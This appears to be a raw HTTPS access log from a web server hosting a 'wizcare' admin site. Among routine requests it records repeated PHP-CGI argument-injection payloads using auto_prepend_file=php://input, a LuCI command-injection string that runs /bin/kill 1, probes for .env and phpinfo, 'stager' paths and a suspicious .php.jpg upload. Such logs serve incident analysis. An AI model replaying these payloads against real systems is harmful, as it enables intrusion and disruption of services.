[28/Nov/2024:14:06:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:14:06:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/favicon.ico HTTP/1.1" -
[28/Nov/2024:14:06:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /ads.txt HTTP/1.1" 305
[28/Nov/2024:14:34:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:14:41:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[28/Nov/2024:14:54:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:15:10:02 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:15:10:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:15:10:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "t3 12.1.2\n" 332
[28/Nov/2024:15:10:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:15:10:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[28/Nov/2024:15:10:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/robots.txt HTTP/1.1" -
[28/Nov/2024:15:10:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/sitemap.xml HTTP/1.1" -
[28/Nov/2024:15:10:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:15:10:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:15:10:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:15:10:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[28/Nov/2024:15:10:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/sitemap.xml HTTP/1.1" -
[28/Nov/2024:15:10:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/robots.txt HTTP/1.1" -
[28/Nov/2024:15:10:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:15:10:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:15:14:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:15:18:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[28/Nov/2024:15:18:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[28/Nov/2024:15:18:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:15:18:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/test/uploads/IMG_0724.JPG HTTP/1.1" 2779347
[28/Nov/2024:15:20:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[28/Nov/2024:15:34:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:15:54:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:16:33:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:16:36:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[28/Nov/2024:16:36:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:16:36:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/ HTTP/1.1" 305
[28/Nov/2024:16:47:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[28/Nov/2024:16:56:40 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:17:14:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:17:23:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[28/Nov/2024:17:26:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[28/Nov/2024:17:26:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:17:26:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/icons.png HTTP/1.1" 12237
[28/Nov/2024:17:31:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[28/Nov/2024:17:34:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:17:35:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[28/Nov/2024:17:36:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[28/Nov/2024:17:43:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 634
[28/Nov/2024:17:43:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 634
[28/Nov/2024:17:51:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[28/Nov/2024:17:54:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:17:56:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo-mobile/images/login1.jpg HTTP/1.1" 25789
[28/Nov/2024:18:03:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/pagebreak/images/pagebreak.gif HTTP/1.1" 54
[28/Nov/2024:18:13:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:18:26:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/home/prodlistB.php.locked HTTP/1.1" -
[28/Nov/2024:18:26:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:18:26:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/link/images/anchor.png HTTP/1.1" 589
[28/Nov/2024:18:27:21 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:18:27:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /BkBm HTTP/1.1" 300
[28/Nov/2024:18:27:21 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:18:33:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:18:44:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:18:51:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[28/Nov/2024:18:51:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[28/Nov/2024:18:54:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:19:13:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:19:18:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[28/Nov/2024:19:18:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:19:18:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h5.png HTTP/1.1" 126
[28/Nov/2024:19:33:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:19:50:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[28/Nov/2024:19:53:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:19:54:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:20:05:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "-" -
[28/Nov/2024:20:14:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:20:24:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /_profiler/phpinfo HTTP/1.1" 300
[28/Nov/2024:20:26:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /_profiler/phpinfo HTTP/1.1" 300
[28/Nov/2024:20:30:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[28/Nov/2024:20:30:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:20:30:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/validatebox_warning.png HTTP/1.1" 921
[28/Nov/2024:20:33:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:20:43:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/rst.txt.locked HTTP/1.1" -
[28/Nov/2024:20:51:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[28/Nov/2024:20:54:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:20:56:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[28/Nov/2024:21:03:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:21:06:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/hidpi/lock.png HTTP/1.1" 1062
[28/Nov/2024:21:14:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:21:34:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:21:42:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[28/Nov/2024:21:42:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:21:42:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/icons_hidpi.png HTTP/1.1" 38309
[28/Nov/2024:21:50:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[28/Nov/2024:21:54:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:22:33:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:22:51:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[28/Nov/2024:22:54:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:23:01:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[28/Nov/2024:23:08:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60%2Fbin%2Fbusybox+%2Fbin%2Fsh+-c+%2Fbin%2Fkill+1%3B%60) HTTP/1.1" 300
[28/Nov/2024:23:12:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[28/Nov/2024:23:12:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:23:12:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/fonts/fontawesome-webfont3e6e.svg HTTP/1.1" 447050
[28/Nov/2024:23:14:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:23:28:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:23:33:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:23:35:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:23:35:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[28/Nov/2024:23:39:33 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:23:42:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:23:50:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[28/Nov/2024:23:54:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:23:56:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/docs/install-wordpress.html HTTP/1.1" 305
[29/Nov/2024:00:14:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:00:24:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST / HTTP/1.1" -
[29/Nov/2024:00:33:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:00:51:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:00:52:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:00:54:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:01:07:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[29/Nov/2024:01:13:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:01:16:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /_profiler/phpinfo HTTP/1.1" 300
[29/Nov/2024:01:21:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:01:21:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:01:21:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/lock.png HTTP/1.1" 506
[29/Nov/2024:01:28:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/arrow.png HTTP/1.1" 191
[29/Nov/2024:01:33:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:01:34:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/close.png HTTP/1.1" 615
[29/Nov/2024:01:41:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/spinner.gif HTTP/1.1" 2984
[29/Nov/2024:01:50:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:01:53:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /Y2kf HTTP/1.1" 300
[29/Nov/2024:01:53:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /PhPU HTTP/1.1" 300
[29/Nov/2024:01:53:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET stager HTTP/1.1" 332
[29/Nov/2024:01:53:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET stager64 HTTP/1.1" 332
[29/Nov/2024:01:54:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:02:03:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/test/uploads/ba8780a819454adcca5146d959f78c4b.php.jpg HTTP/1.1" 674
[29/Nov/2024:02:13:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:02:27:50 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[29/Nov/2024:02:33:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:02:39:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:02:39:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:02:39:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_div.png HTTP/1.1" 127
[29/Nov/2024:02:48:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:02:48:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:02:48:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:02:48:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[29/Nov/2024:02:48:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:02:51:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:02:53:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:03:02:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/time.php.bak HTTP/1.1" -
[29/Nov/2024:03:05:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/ HTTP/1.1" 14641
[29/Nov/2024:03:05:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/blank.gif HTTP/1.1" 148
[29/Nov/2024:03:05:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/back.gif HTTP/1.1" 216
[29/Nov/2024:03:05:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/image2.gif HTTP/1.1" 309
[29/Nov/2024:03:05:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/text.gif HTTP/1.1" 229
[29/Nov/2024:03:05:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/binary.gif HTTP/1.1" 246
